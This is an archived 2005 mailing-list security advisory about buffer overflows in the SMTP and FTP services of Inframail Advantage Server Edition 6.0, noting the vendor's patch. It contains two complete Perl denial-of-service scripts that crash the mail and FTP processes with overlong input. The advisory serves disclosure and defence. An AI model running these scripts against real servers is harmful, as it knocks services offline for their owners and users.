bugtraq - Multiple buffer overflows exist in Infradig Systems Inframail Advantage Server Edition 6.0

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <80115b6905062720123369c01e@mail.gmail.com>
Date: Mon, 27 Jun 2005 20:12:14 -0700
From: Reed Arvin <reedarvin@...il.com>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk,
	vuln@...unia.com, news@...uriteam.com
Subject: Multiple buffer overflows exist in Infradig
	Systems Inframail Advantage Server Edition 6.0

Summary:
Multiple buffer overflows exist in Infradig Systems Inframail
Advantage Server Edition 6.0
(http://www.infradig.com/)

Details:
Input to the SMTP MAIL FROM: command and the FTP NLST command is not
properly checked and/or filtered. Issuing the character 'A' roughly
40960 times as an argument to the MAIL FROM: command will cause the
ifmail.exe process to die and re-launch. Issuing the character 'A'
roughly 102400 times to the NLST command and then issuing the
character 'A' roughly 102400 times to the NLST command again will
cause all processes running under the ifmailsvc.exe process to die and
re-launch (these processes include slapd.exe, slurpd.exe, ifmail.exe,
ifweb.exe, etc.).

Vulnerable Versions:
Infradig Systems Inframail Advantage Server Edition 6.0 (Version: 6.37)

Patches/Workarounds:
The vendor was notified of the issue. Here is the vendor response:

"The current release of Inframail is v7.11 and we have 1) been able to
reproduce the SMTP crash, but 2) not the FTP one. The SMTP crash is
fixed in the release Inframail v7.12 just out."

A patched version of the affected software has been released (Version:
7.12) and is available from http://www.infradig.com/.

Exploits:
Run the following PERL scripts against the server. The corresponding
processes will die and then re-launch.

#===== Start Inframail_SMTPOverflow.pl =====
#
# Usage: Inframail_SMTPOverflow.pl <ip>
#        Inframail_SMTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail SMTP server at $ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "MAIL FROM:" . "A" x 40960 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== End Inframail_SMTPOverflow.pl =====

#===== Start Inframail_FTPOverflow.pl =====
#
# Usage: Inframail_FTPOverflow.pl <ip>
#        Inframail_FTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER hello\r\n";

        sleep(1);

        print $socket "PASS moto\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End Inframail_FTPOverflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Vulnerability discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/